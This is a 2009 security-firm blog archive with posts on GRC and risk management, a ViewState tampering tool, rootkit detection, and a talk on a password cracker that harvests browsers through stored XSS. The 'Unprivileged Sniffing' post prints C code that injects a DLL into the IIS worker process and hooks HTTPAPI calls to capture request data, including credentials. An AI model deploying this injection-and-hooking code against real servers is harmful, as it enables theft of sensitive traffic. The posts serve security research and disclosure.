Hacker Halted 2009

October 21, 2009

As many of you know, Greg Ose and I recently spoke at Hacker Halted 2009 in Miami. We discussed a distributed password cracker that we designed and implemented that utilizes redirected browsers to build a swarm of worker nodes. The method which we demonstrated can be implemented using large numbers of otherwise useless stored cross-site scripting vulnerabilities. The client-side worker was implemented as a Java applet in an injected iframe.

Greg and I also showed several methods which can be used on different platforms to trick the Java virtual machine into continuing execution after a client has closed the page where it is embedded. This can be used to maintain large numbers of workers even when the vulnerable sites are not visited for long periods of time.

The following video shows the administrative interface to DistCrypt where we can add and manage password hashes.

You can view the high quality version here.

You can also view the slides from our presentation on the Hacker Halted website here.


What do Rootkits and Xerxes have in common?

August 25, 2009

By: Cris Neckar and Greg Ose

Just think of your kernel as Greece…

It’s probably not the first thing you expected to hear me say but bear with me. The arms race between rootkit development and detection has been raging for years, and although there have been great advancements in detection, rootkit developers have always had the upper hand. You simply cannot defend against what you cannot predict. Recently the battle has become increasingly heated as rootkit developers dig deeper and deeper. One only need look at the Blackhat Briefings for the past few years to see the trend.

Increasingly subversive and complex rootkits threaten to over-run our kernels and turn our business critical systems into slaves. So what are we to do? Should we simply throw up our hands and resolve ourselves to a life of bondage?

To answer this question lets approach the problem from a different angle. It has become clear that we cannot simply monitor everything a rootkit developer might change. There are just too many function pointers, operating modes, and devices to allow us to watch them all. However, one commonality does exist in all kernel mode rootkits. In some way they must all be inserted into the kernel.

There are a number of ways to introduce new code into a running kernel but not nearly so many as there are places to hide once inside. I propose that, instead of building a blacklist and peeking under all the rocks where they have hidden in the past, we instead monitor the entry point. Leonidas used a similar approach when Xerxes threatened Greece, instead of fighting on even ground the Spartans guarded the narrow door through which the Persians must travel to enter Greece.

So, you say, it’s a great theory, but how do we implement it?  Assuming an attacker has compromised a system’s most privileged usermode context, for instance a process running as root, code can be introduced into the running kernel in a number of ways. The most obvious of these is to install a module or driver and be done with it. Aside from that, an attacker would need to patch kernel memory directly, this is not trivial but is still a common method of rootkit insertion. Aside from these options, the attacker would be forced to edit the kernel binary, or an existing module on disk and either cause or wait for a reboot (There is one additional threat which we will save for later). The interesting thing about all of these potential insertion points is that they are events which would almost never occur in a production server (If they do occur an administrator will certainly be aware of the reason). By monitoring these few events we would be notified of the insertion of any existing kernel mode rootkit that I am aware of, as well as any that could be written in the future (barring a further vulnerability.. more on this later).

To implement this on Linux is actually fairly trivial. To monitor for code inserted into the kernel while running we can use the tricks of rootkit developers ourselves. Namely we can hook sys_init_module (for module insertions), and the write() handlers within the kmem and mem file operations structures (for writes to /dev/(k)mem where these are still possible).

The next step is to defend against changes made to kernel components on disk. For the kernel image itself, on a system which is rarely rebooted such as a production server, it is possible to accomplish this by booting a known good kernel. For example a kernel could be booted from media which is only physically attached to the system when the kernel is initially loaded into memory. A similar approach could be used with required kernel modules, or if preferable, they could be compared on load to known good check sums.

Now that we have covered the entry points we can focus on what to do once one of these events occurs. We do not actually need to prevent the insertion as, in some cases, these events may legitimately occur (once a root compromise has occurred a re-image of the system is generally the best approach anyway). Instead we simply need to securely log the event to a location which is not controlled by the intruder. Obviously we can not log locally. Additionally we cannot log with mechanisms which are already under the attackers control (anything accessible from user mode is out). One relatively trivial solution is to simply create a syslog packet and drop it on the network stack when one of our traps triggers. This will provide us with a remote log on a system which (hopefully) has not been compromised. When implementing this you would of course want to be careful to temporarily disable any netfilter hooks (think iptables) as these could allow the intruder to block our logging packet from usermode.

Like Sparta’s defense at Thermopolae, this method also has its mountain path. I mentioned earlier that there was an additional method for introducing code into a running kernel. This would involve the existence of a vulnerability within the kernel or a loaded module which allows arbitrary memory to be written. An attacker could create an exploit which uses such a vulnerability to introduce a rootkit into the kernel. We cannot possibly predict where an exploit will occur (if we could, vulnerability research would be a lot easier :) ) making it impossible (so far ;) ) to guard against this threat using this method. Fortunately a rootkit which used this installation method would be obsolete the moment it was first detected. This means that this type of rootkit could never reach widespread usage and would most likely be used only in a very targeted attack.


Michael Rasmussen Blogs on the topic of GRC

August 11, 2009

Gregg LaRoche, VP Product Management, Neohapsis

I recently spotted an interesting posting on Mr. Rasmussen’s Blog – GRC Pundit entitled “The Forrester GRC ‘Ripple’ (OOOPS . . . I Mean, ‘Wave’)”. In addition to some very candid observations regarding industry analysts’ well-known graphical reports, Neohapsis is mentioned as one of the significant GRC vendors ‘missed’ in this year’s GRC Wave report. As you may know, the Wave criterion includes product deployment metrics to ensure new or Beta products are omitted. Certus GRC is in Beta stage and as such was not eligible for inclusion in the report. Why is Neohapsis’ Certus GRC offering significant although not included? Certus GRC is a ground breaking product that I have no doubt the analyst community will find compelling and will challenge many prior perceptions they have held about the GRC technology space and how Certus GRC can be used to manage highly complex, interrelated GRC relationships in ways that make sense for business stakeholders and employees.

I was particularly interested in Mr. Rasmussen’s perspective on the dangers of relying on the major analyst firms’ industry graphic to make critical technology selection decisions. Enterprise technology decisions are important not only in terms of investment and return, but also can dictate employee and partner experiences and limitations for years to come. Graphical summaries are useful to compare and contrast the largest, most established products at a high level. They can tell us who within that group is investing in technology over time and can also gauge some interesting peer enterprise viewpoints. But what does that tell your enterprise about the performance of that investment, the overall fit, or the user experience for your unique environment and set of business challenges? Rasmussen makes the astute observation that in this particular case, the report has focused on the IT buyer and has missed the essential business buyer. GRC is a discipline and a solution set that spans the enterprise when fully realized, and requires cross functional cooperation and C-level visibility to be truly successful.

I happen to agree with Mr. Rasmussen’s well-informed pros and cons on this topic and also respect and find good value in the analyst firms I work with, including the highly regarded author of the Wave report and others. But like most good things, analyst opinions do need to be measured in the fullness of our own judgment, unique experiences, and those of our customers and stakeholders.

Check out Michael Rasmussen’s post at http://corp-integrity.blogspot.com/2009/07/forrester-grc-ripple-ooops-i-mean-wave.html


ViewStateViewer: A GUI Tool for deserializing/reserializing ViewState

August 3, 2009

By: Patrick Toomey

Background

So, I was reading the usual blogs and came across a post by Mike Tracy from Matasano (Matasano has been having some technical difficulties…this link should work once they have recovered).  In the blog post Mike talks about the development of a ViewState serializer/deserializer for his WWMD web application security assessment console  (please see Mike’s original post for more details).  Mike noted that the tools for viewing/manipulating ViewState from an application testing perspective are pretty weak, and I can’t agree more.  There are a number of ViewState tools floating around that do a tolerable job of taking in a Base64 encoded ViewState string and presenting the user with a static view of the deserialized object. However, no tools up until this point, save for Mike’s new implementation, have allowed a user to change the values within the deserialized object and then reserialize them into a new Base64 string. Mike’s tool does exactly this, and is immensely useful for web application testing. The only downside to Mike’s tools is that it is built for his workflow and not mine (how can I fault the man for that).  So, I decided to build an equivalent that works well for me (and hopefully for you as well).

I tend to have a web proxy of some sort running on my machine throughout the day. There are tons of them out there and everyone seems to have their personal favorite. There is Paros, WebScarab, BurpSuite, and I am sure many others. In the last few months I have been using a newer entrant into the category, Fiddler.  Fiddler is a great web proxy whose only big drawback is that it is Windows only.  However, at least for me, the upsides to Fiddler tend to outweigh the negatives.  Fiddler has a fairly refined workflow (don’t get me started on WebScarab), is stable (don’t get me started on Paros), and is pretty extensible.  There are a number of ways to extend Fiddler, most trivially using their own FiddlerScript hooks.  In addition, there is a public API for extending the application using .NET.  Fiddler has a number of interfaces that can be extended to allow for inspecting and manipulating requests or responses. Please see the Fiddler site for more details on extending Fiddler using either FiddlerScript or .NET.  In particular, take a look at the development section to get a better feel for the facilities provided by Fiddler for extending the application.

Anyway, I had been thinking about writing a ViewState serializer/deserializer for Fiddler for the past month or two when I saw Mike’s blog post.  I decided that it was about time to set aside a little time and write some code.  I was lucky that Fiddler uses .NET, as I was able to leverage all of the system assemblies that Mike had to decompile in Reflector. After a bit of coding I ended up with my ViewStateViewer Fiddler inspector.  Let’s take a quick tour…

ViewStateViewer seamlessly integrates into the Fiddler workflow, allowing a user to manipulate ViewState just as they would any other variable in a HTTP request.  An extremely common scenario for testing involves submitting a request in the browser, trapping the request in a proxy, changing a variable’s value, and forwarding the request on to the server. ViewStateViewer tries to integrate into this workflow as seamlessly as possible.  Upon trapping a request that contains ViewState, ViewStateViewer extract the Base64 encoded ViewState, Base64 decodes it, deserializes the ViewState, and allows a user to manipulate the ViewState as they would any other variable sent to the server.  Let’s take a look at some screenshots to get a better idea of how this works.

ViewStateViewer Tour

Serialized ViewStateSerialized ViewState

By Default, Fiddler lets a user trap requests and view/edit a POST body before submitting the request to the server.  In this case, the POST body contains serialized ViewState that we would like to work with.  Without ViewStateViewer this is non-trivial, as Fiddler only shows us the Base64 encoded serialization.

Deserialized ViewStateDeserialized ViewState

ViewStateViewer adds a new “ViewState” tab within Fiddler that dynamically identifies and deserializes ViewState on the fly.  The top half of the inspector shows the original Base64 serialized ViewState string.  The bottom half of the inspector shows an XML representation of the deserialized ViewState.  In between these two views the user can see if the ViewState is MAC protected and the version of the ViewState being deserialized.  In this case we can see that this is .NET 2.X ViewState and that MAC protection is not enabled.

ReSerialized ViewStateReserialized ViewState

Once the ViewState is deserialized we can manipulate the ViewState by changing the values in the XML representation.  In this example we changed one of the string values to “foobar”, as can be seen in the figure above.  Once we change the value we can reserialize the ViewState using the “encode” button.  The reserialized Base64 encoded ViewState string can be seen in the top half of the ViewStateViewer window.  Once we have “encoded” the ViewState with our modifications, ViewStateViewer automatically updates the POST body with the new serialized ViewState string.  This request can now be “Run to Completion”, which lets Fiddler submit the updated request to the server.

Limitations

It should be noted that if the original ViewState had used MAC protection ViewStateViewer would not be able to reserialize the manipulated ViewState with a valid MAC.  While ViewStateViewer will not prevent you from deserializing, manipulating, and reserializing MAC protected ViewState, it will not be able to append a valid MAC to modified ViewState.  ViewStateViewer will warn us that “Modified ViewState does not contain a valid MAC”.  Modified requests made using reserialized MAC protected ViewState will ultimately fail, as we don’t know the machine key used to produce a valid MAC.  Regardless, sometimes simply being able to view what is being stored in MAC protected ViewState can be useful during an application assessment.

In addition to MAC protection, ViewState can be optionally protected using encryption.  Encryption will prevent any attempt by ViewStateViewer to deserialize the ViewState.  If encryption is detected ViewStateViewer will simply show the user the original Base64 ViewState string.  However, as any application security consultant can attest, there are many applications that do not encrypt or MAC protect their ViewState.  ViewStateViewer is aimed squarely at these use cases.

Finally, ViewStateViewer was written entirely with deserializing/serializing ViewState 2.X in mind. While ViewState 1.X is supported, the support at this time is limited, though completely functional. ViewState 1.X, unlike ViewState 2.X, Base64 decodes into a completely human readable ASCII based serialization format (think JSON).  As such, ViewStateViewer simply Base64 decodes ViewState 1.X and displays the result to the user. The user is then free to make any changes they wish to the decoded ViewState. This works exactly the same as the example shown above, except that the decoded ViewState object will not be a nicely formatted XML document. I might get around to adding true ViewState 1.X support, but the benefits would be purely cosmetic, as the current implementation has no functional limitations.

Wrap Up

ViewState is one of those areas that tends to be under-tested during application assessments, as there have been no good tools for efficiently evaluating the effects of modifying ViewState.  Hopefully the release of ViewStateViewer will make evaluation of ViewState a more common practice.  If you want to give ViewStateViewer a try you can download the Fiddler plugin(with source) here. Simply copy ViewStateViewer.dll into your “Inspectors” folder within your Fiddler install directory.  It should be noted that this inspector is for Fiddler2, so please update your copy of Fiddler if you are out of date.  Finally, this is very much a work in progress.  As I found out during development, there is ton of ViewState out there that is either non-trivial to deserialize/reserialize or is impossible to deserialize/reserialize (non-standard objects being serialized for example).  Maybe I’ll do another blog post detailing some of these difficult/impossible to handle edge cases in a subsequent post.  So, while I have done some limited testing, I am sure there are some bugs that will crop up.  If you happen to find one please don’t hesitate to contact me.


Security Fitness in Lean Times – The Webinar

July 20, 2009

We are hosting a webinar inspired by Nat Puffer’s  recent blog post.  He and Erik Bataller, senior consultants at Neohapsis, will present Security Fitness in Lean Times on Tuesday, July 28th at 12:00 p.m. They will discuss what IT security teams can do today to manage risk and improve security despite budget challenges, including how to assess current capabilities, find key areas for improvement, develop appropriate plans and expectations, stay on target, and ensure essential testing and maintenance.

If you are interested but can’t make that time, go ahead and register anyway; we will send you a link to the archived version so you can view it at your convenience.

Webinar details:
Title: Security Fitness in Lean Times
Date: Tuesday, July 28, 2009
Time: 12:00 p.m. EDT
Duration: 60 minutes
Speakers: Nat Puffer and Erik Bataller, senior consultants at Neohapsis
Register


Enterprise, or Opportunity Risk Management?

July 2, 2009

The Enterprise Risk Management (ERM) market seems to have been driven by the Finance & Banking (F&B) sector’s interpretation of what ERM means. They have taken their traditional risk methodology in the areas of Credit, Market and Operational risk management and extended that out to other areas of their businesses and called that ERM. But, for true ERM, the F&B institution’s methodology for managing risk is applying too much emphasis on backward-looking analysis of loss, as opposed to a more forward-looking speculation about potential loss (or risk) in future. Historical analysis of actual loss is of course a significant indicator of further loss in future, but only where defined losses are to be expected, such as in the areas of insurance or the provision of credit, or speculation into markets etc.

However, such a methodology doesn’t provide a sound analytical basis for those less frequent and possibly more drastic events, or those events where historical loss data doesn’t exist, which applies to the general operations of most businesses today.

So, in F&B, risk management has become very much a science, but for areas of risk outside the realms of credit, market and banking operations, and without the benefit of hindsight and a loss history, it is very much an art today.

Perhaps analyzing some of the more accepted definitions of risk will help us to figure out where and how we should be focusing our risk assessment efforts, acronyms aside:

Wikipedia by its very nature takes a broad view, not specifically in the context of business, and states simply that “risk is a concept that denoted the precise probability of specific eventualities”. Interestingly Wikipedia’s definition of risk continues by stating that risk can be defined as “the threat or probability that an action or event, will adversely or beneficially affect an organization’s ability to achieve its objectives” Hmmm, so immediately Wikipedia is recognizing that we have to tie our speculation of loss to our desire to achieve stated objectives; in other words, realizing our opportunities.

Corporate Integrity, a leading Global advisory on Governance, Risk and Compliance succinctly defines Risk as “the effect of uncertainty on business objectives”. Again, focusing on what a company is endeavouring to achieve through the realization of its opportunities.

So, how about substituting the word ENTERPRISE and replace it with OPPORTUNITY? After all, businesses are in business to profit from opportunities, and given that the above definitions of risk relate its management to the achievement of those objectives, it would seem that this has to be the basis of risk analysis.

However, this would provide us with ORM instead of ERM as an acronym for the management of risks in our business, but unfortunately, ORM is already generally accepted as meaning Operational Risk Management, which is a term well understood and accepted in the F&B world because it is a component part of the Basel II Capital Accord. This might explain the route cause of the problem!

F&B understands Operational Risk Management in Basel II terms and by extending that across the enterprise they assume it to be Enterprise Risk Management, but, as stated previously the methodology used is driven by the analysis of losses, not the analysis of risks to the achievement of objectives, goals or opportunities.

It is correct that loss analysis is an excellent way of predicting likely loss in future, but as noted earlier only if an extensive loss history exists. This is the key point. In most businesses the loss history does not exist or is very limited, and even in the F&B industry it is limited to the scope of Basel II, which does not cover business risks such as supply-chain, internal operations such as HR or reputational risks and many other risk areas.

So, whilst extensive loss history can help us to add some science to the art of risk management across the enterprise, the fact is that an extensive history of losses does not exist for most businesses, so the only viable methodology is to start with understanding a businesses strategy, its objectives, its opportunities, and trying to quantify what will prevent the company achieving those. i.e. what are the risks to the realization of opportunities.

Opportunity Risk Management (ORM).


Security Fitness in Lean Times

June 18, 2009

I recently had the opportunity to spend a little downtime with a colleague who does a lot of writing and thinking about security. As we talked about what crashing economies, tightening budgets, and 2009 in general might mean to IT security, he made an interesting statement,”There is no such thing as a security diet pill.”

We’d seen so many security programs fail, not because of a lack of resources, but because of a lack of discipline or understanding. They had been operating like someone who is furiously trying to get in shape purchasing fitness products and diet books in bulk. The results were exactly what you’d expect, some initiatives worked great for a short while. However, in time, most became exercises in installing the newest exciting product or were abandoned all together due to the pace of business. Technology was courted as a series of solutions instead of what it is, a tool for getting the most out of the work you put in.

So here we are with the same goal we’ve had for a while. The budgets are shrinking and the problem isn’t. Time to put our feet up on the dusty weight bench, have a cheeseburger, and resign ourselves to the way things are, right?

Or maybe we can look at this as an opportunity. Perhaps this is a good time to take stock.

Measuring initiatives by the budgets they carry or the technology they purchased isn’t going to resonate with upper management the way it once might have. Fiscal tightness will start to require security fitness. We know the tools are laying around, we bought them all. Now may be a good time to make sure we’re using them the best we can. Now is a good time to make sure we’re putting in the work.

See your Doctor Before Starting any Program

What are your true security strengths? What are your weaknesses? What are you trying to protect? Are all your assets of equal value? The answers to these questions should be your guide going forward. This is also the point where you need to ensure you’re taking an honest look at the situation. With the resources you’ve already amassed, what is your capability? Politics has no place here.

Set Realistic Goals

If you don’t even have an IDS in place, don’t create a mandate that every packet in the network will be tracked by next quarter. Understand the limitations imposed by your business, your current capability, and your culture. Realize that changes, especially ones involving adding restrictions or controls, take time to adopt. The bright side is that you’re first goal is to use the technology and systems you’ve already paid for more efficiently. Install the IDS. Update it. Tune it. Integrate the data with your vulnerability scanner to create a more accurate risk profile.

Maintain a Healthy Diet

Fear, Uncertainty, and Doubt are the hallmarks of an unhealthy security diet. News channels propagate this. Conferences do their share. Industry trade magazines don’t help. The net result is security programs that think they are being reactive to cutting edge threats, but are never truly increasing their over all security. Gartner declares IDS is dead; IPS is the new future. You mean IDS with blocking? So everyone upgrades and tears out the infrastructure. Attention isn’t paid to the original problem. Nobody ever upgrades the signatures. Nobody ever looks at the alerts. Before you spend resources looking into Vishing attacks, ask yourself if you have any assets exposed by attacks on an automated call system? Is that exposure more critical than the current initiatives?

There’s no Substitute for Exercise

I haven’t seen anyone talking about security as a continuous process lately. I’ve heard about programs, initiatives, even sprints. At its core though, security is something that should be part of the organization and the culture. Evaluation and improvement of the system should be done through continuous movement. Small steps with a commonly understood purpose. The guidance of Security Offices should become integrated into the business operations of the organization. Monitoring the effectiveness and providing honest, actionable feedback should become routine. Eventually, testing of the system will become a non-event. It’ll already be in shape.


COSO II Event Identification will be a significant challenge for companies

June 2, 2009

COSO’s improvement to COSO II, sometimes referred to as COSO ERM, added requirements for objective setting, risk identification, management & reporting, as well as risk treatment and event identification. These would be regarded as the basic elements of a good ERM (Enterprise Risk Management) program, and tying these into COSO integrates the already established control framework around those ERM practices.

Sounds good! It is good, or at least a good starting point, I believe. A far more granular assessment to derive a risk level is needed if this is to become truly scientific, but that’s for another blog topic!

The issue now is that whilst most companies will probably be able to implement just about all the elements of COSO II, there is one that I believe will be a significant challenge, the ‘Event Identification’ element.

Under COSO II, Event Identification encompasses incidents (internal or external) that can have a negative (or positive – so perhaps opportunities?) effect. Much like under Basel II Operational Risk analysis, the benefit of hindsight determines or assists the prediction of future risk. So, effectively, to adhere to COSO II a company must identify and quantify incidents within the ERM framework, such that predictions of risk can be assisted by knowledge of actual loss in the past.

This is a whole new set of business processes and responsibilities that certain individuals must accept as part of their regular employment descriptions. But it is more complicated than that, because internal systems and processes will need to be developed to help those individuals to obtain the correct data to support event identification.

Take a simple example in IT. Let’s assume we are a pharmaceutical company, and a system falls victim to a security breach. On that system is 20 years of clinical trial information for a product and we know that an outside organization has potentially accessed that IP. Who’s responsibility is it to recognize that the incident has occurred? Who decides what the cost to the organization is? Who’s responsibility is it to capture that information? Who’s responsibility is it to identify the business and technical risks associated with the incident? Who’s responsibility is it to decide what actions should be taken as a result of the incident to prevent it happening again?

Even for this fairly tangible event, there are a whole set of new processes, policies, documentation and responsibilities that need to be in place to properly implement Event Identification.

So much so, that I contend most companies should not declare COSO II compliance, just yet.


Unprivileged Sniffing

May 18, 2009

The standard attack path against a hardened system almost invariably involves escalating privileges locally. Privileged access allows the attacker to do things like access all data on the server, sniff network traffic, and install root kits or other privileged malware. Typically, one of the goals of host hardening is to limit the damage that an attacker can do who has gained access to an unprivileged account. “Successfully” hardening a web server, for example, involves preventing the account used by the httpd service/server from modifying the source code of the application it hosts.

Imagine a web server that handles sensitive information, let’s say credit card numbers. This application runs through an interpreter invoked by a web server running as an unprivileged user. No matter how this data is encrypted when at rest, if it can be decrypted by the application, an attacker with the ability to invoke an arbitrary process at the same privilege level as this application will be able to recover the data. This is not true however of data which is stored as a hash or encrypted using an asymmetric public key where the private key is not present. In these cases an attacker is often forced to escalate local privileges to sniff data in transit either via network sniffing, or modifying encryption libraries. Even when data is stored in a retrievable format, especially on hardened systems, recovering this ultimately obfuscated data can be a daunting task for an attacker. Many applications now employ a multi-tiered approach which requires a significant amount of time and effort to attack and gain access to the critical keys or algorithms.

Given the architecture of Windows servers however, it is possible, via access to an unprivileged account such as Local Server, to implement a form of unprivileged sniffer which will monitor sensitive information as it is passed through the target application. This can be implemented in a way which would allow an attacker to trivially monitor all data in motion through the application. In the case of a web application this would include any parameters within a request, data returned by the server, or even headers like those used for basic authentication. This method is generic across applications and can be used to sniff encrypted connections.

The unprivileged sniffer doesn’t employ any tactics that are strictly new and although we haven’t seen this implemented in malware to date it wouldn’t be surprising if something similar has been done. The implementation I will describe is effective against IIS 6 but similar things could be implemented for other applications (SQL Server and Apache come to mind).

The first challenge in hooking into an IIS worker process or Application Pool (w3wp.exe) is knowing when it will start. A request coming into IIS is handled by the W3SVC service and passed off to an Application Pool via a named pipe. The service will either instantiate a new worker process passing the pipe name as an argument or assign the connection to an existing worker. The difficulty is that as the “Local Server” user we can not hook into the W3SVC itself so we must either constantly watch for new instantiations of ‘w3wp.exe’ or have some way of knowing when they start. By monitoring named pipes using the undocumented API ‘NtQueryDirectoryFile’ we can watch for the creation of pipes that start with ‘iisipm’. A pipe will be created each time a new worker is initialized giving us a head start hooking the new process.

Now that we know a process will be created we can do a standard library injection using code similar to the following to identify it and inject our sniffer. In this code LIBNAME represents the name of the DLL to inject.

PROCESSENTRY32 entry;

HANDLE snapshot;

BOOL r = FALSE;

DWORD TargetPID = NULL;

HANDLE Proc;

LPVOID LoadLibAddr, RemoteName;

/* Find the PID of the “w3wp.exe” process. */

entry.dwSize = sizeof(PROCESSENTRY32);

if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, (unsigned long)NULL)) != INVALID_HANDLE_VALUE) {

for (r = Process32First(snapshot, &entry); r; r = Process32Next(snapshot, &entry)) {

if (strstr(entry.szExeFile, “w3wp.exe”)) {

TargetPID = entry.th32ProcessID;

}

}

CloseHandle(snapshot);

}

if (!TargetPID) return;

/* Open the process */

if ((Proc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, TargetPID)) == NULL) return;

/* Get the address of “LoadLibraryA” to use as our remote thread procedure */

if ((LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA(“kernel32.dll”), “LoadLibraryA”)) == NULL) goto out;

/* Allocate a block of memory within “w3wp.exe” to hold the name of the DLL we are injecting and copy it in */

if ((RemoteName = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(LIBNAME) + 1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)) == NULL) goto out;

if (!WriteProcessMemory(Proc, (void *)RemoteName, LIBNAME, strlen(LIBNAME) + 1, NULL)) goto out;

/* Create a thread within “w3wp.exe” which will load our DLL into memory */

CreateRemoteThread(Proc, NULL, (unsigned long)NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, (void *)RemoteName, (unsigned long)NULL, NULL)

out:

CloseHandle(Proc);

We now have our library loaded into the address space of the worker process. When this occurs the entry point of our library will be called. We will use the concept of a trampoline to hook certain calls within the w3wp process. Specifically IIS uses a library called HTTPAPI for passing around HTTP requests and responses. By hooking into the following calls we can examine requests and responses passed through this worker.

  • HttpReceiveHttpRequest
  • HttpReceiveRequestEntityBody
  • HttpSendHttpResponse
  • HttpSendResonseEntityBody

As an example the following stub shows one way of hooking ‘HttpReceiveHttpRequest’.

/* This will store the address of the HttpReceiveHttpRequest function */

typedef ULONG (*HttpReceiveHttpRequestType)(HANDLE, ULONGLONG, ULONG, PHTTP_REQUEST, ULONG, PULONG, LPOVERLAPPED);

HttpReceiveHttpRequestType HttpReceiveHttpRequestSaved;

/* The trampoline structure is used to save both the original 6 bytes of the function we are hooking and the new instructions we replace them with */

typedef struct _trampoline {

char push;

void *func;

char ret;

} Tramp, *PTramp;

Tramp HRHR, oldHRHR;

HMODULE lib;

SIZE_T i;

/* Ensure that HTTPAPI.dll has been loaded */

lib = LoadLibraryA(“HTTPAPI.dll”);

/* Save the address of “HttpReceiveHttpRequest” */

HttpReceiveHttpRequestSaved = (HttpReceiveHttpRequestType)GetProcAddress(lib, “HttpReceiveHttpRequest”);

/* 0×68 is the x86 PUSH instruction */

HRHR.push = 0×68;

/* We are pushing the address of our hook */

HRHR.func = (HttpReceiveHttpRequestType *)&HttpReceiveHttpRequestHook;

/* 0xC3 is the x86 RETN instruction which will pop the value we just pushed and jump to that location. This effectively hijacks the flow of execution */

HRHR.ret = 0xC3;

/* We then read the original 6 bytes of the HttpReceiveHttpRequest function */

ReadProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* And replace it with our trampoline code */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

We have now replaced the first six bytes of the ‘HttpReceiveHttpRequest’ function mapped within the ‘w3wp.exe’ process to redirect the flow of execution into our hook procedure. Now by creating a hook we can sniff any data passed through this function by implementing code similar to the following.

ULONG HttpReceiveHttpRequestHook(HANDLE ReqQueueHandle, ULONGLONG RequestId, ULONG Flags, PHTTP_REQUEST pRequestBuffer, ULONG RequestBufferLength, PULONG pBytesReceived, LPOVERLAPPED pOverlapped) {

ULONG ret;

SIZE_T i;

HANDLE log;

/* First we replace the first 6 bytes of the real ‘HttpReceiveHttpRequest’ function with their original value */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* We then call the real function and save the return value */

ret = HttpReceiveHttpRequestSaved(ReqQueueHandle, RequestId, Flags, pRequestBuffer, RequestBufferLength, pBytesReceived, pOverlapped);

/* At this point all data with the HTTP_REQUEST stored at pRequestBuffer is valid and can be saved to a file or sent out over the network. This data includes the request headers and Get parameters passed with the request */

/* After we have performed our sniffing operations we write our trampoline back into the real function */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

/* And return the saved return value */

return ret;

}

If similar hooks were implemented for each of the functions listed above all information in and out of IIS could be sniffed in a way which is generic to the web application being used.

Although this implementation is deliberately incomplete it demonstrates one use case for an unprivileged sniffer. This type of attack is possible in Windows due to  specifics of process creation and how privileges are dropped. It is worth mentioning that a similar attack is generally not possible in similar Linux services. In Linux the ability to ptrace a process is controlled by the dumpable flag within the mm member of the process’ task_struct. When privileges are dropped the dumpable flag is unset and this is inherited when a fork or execve occurs. This prevents the owning user of the resulting process from modifying the process’ execution. Because lower privilege workers are not newly created processes in Linux but rather inherit their task_struct from the root owned parent, they are not debuggable by the lower privileged worker account.

We are not currently aware of a way of preventing this type of attack. The Windows privilege structure, and individual privileges such as the seDebugPrivilege are not designed to prevent access to the owning user. If a fix is possible it would likely relate to the creation of the worker processes and would require modification of the individual applications. If you have an idea for a fix please let us know.


The case for extending XBRL to encompass a Risk and Control taxonomy

May 1, 2009

Through the SEC’s ‘21st Century Disclosure Initiative‘ announced in January 2009, and their demand that Fortune 500 companies start XBRL tagging of financial statements and footnotes this year, it’s clear that greater transparency associated with financial reporting and transactions is seen as one of the steps towards improving the ability of investors and lenders to analyse and compare reports of financial performance and strategic declarations. By adopting such a standard, the SEC is seeking to provide investors and lenders with greater confidence in the results of their analysis because there is a defined taxonomy that ensures they are analysing and comparing apples to apples in all aspects of relevant financial statements.

That’s good, it’s helpful and the derived confidence will be further enhanced through the involvement of an Assurance Working Group (AWG) that is co-operating with the International Audit and Assurance Standards Board (IAASB) to develop standards around how XBRL information can be audited.

Whilst XBRL was initially designed to allow standard tagging of financial reporting, it also can be used for financial statements around transaction information, discrete projects and initiatives, etc. It would seem, therefore, that if XBRL tagging could be extended to encompass risk and control information by introducing an extended taxonomy for that, then, perhaps, a far more meaningful value could be associated with those financial statements, or the validity of them could be better trusted.

When Credit Default Swaps (CDS) were sold on, and on, and on, imagine if along with the financial details of the transaction there was a clear statement about the associated risks, along with details of what mitigation measures were in place and how effective they were likely to be. Surely, that would have allowed the prevention of them being significantly over valued or at least recognition that they were being overvalued despite their associated risks.

Ultimately the whole issue of trust is at the hub of the financial crisis we find ourselves in and, interestingly, it parallels an observation that the American economist John Kenneth Galbraith made in 1954. He observed that fraud can be easily hidden in the good times, yet it gets revealed in the bad times, which he called the ‘bezzle’. With reference to the great crash of 1929 he wrote,”In good times people are relaxed, trusting, and money is plentiful. But even though money is plentiful, there are always many people who need more. Under these circumstances the rate of embezzlement grows, the rate of discovery falls off, and the bezzle increases rapidly. In depression all this is reversed. Money is watched with a narrow, suspicious eye. The man who handles it is assumed to be dishonest until he proves himself otherwise. Audits are penetrating and meticulous. Commercial morality is enormously improved. The bezzle shrinks.” He also observed that “the bezzle is harder to hide during a tougher economic climate” because of the demand for increased scrutiny.

Applying a similar theory to our CDS example, in the good times the bezzle was large, and there were high levels of trust between the banks and asset management companies, thus, nobody really worried about the increasing risks. But now the bezzle has been revealed, trust has all but disappeared and the market has stagnated.

Hence, it is my belief that additional assurance will be required around financial reporting, particularly with specific transactions, such that a high level of trust can be regained. This will not occur through a high bezzle which exists due to positive market conditions. Rather, it will occur through qualified assurance and tangible evidence of the levels of associated risks and how effectively they are being mitigated. Taking the CDS situation as an example, if the level of associated risk and the efficacy of the control strategy accompanies the transaction the buyer will be better informed and the information will have higher trust.

In my view, therefore, the XBRL taxonomy must extend to include taxonomy around risk and control information.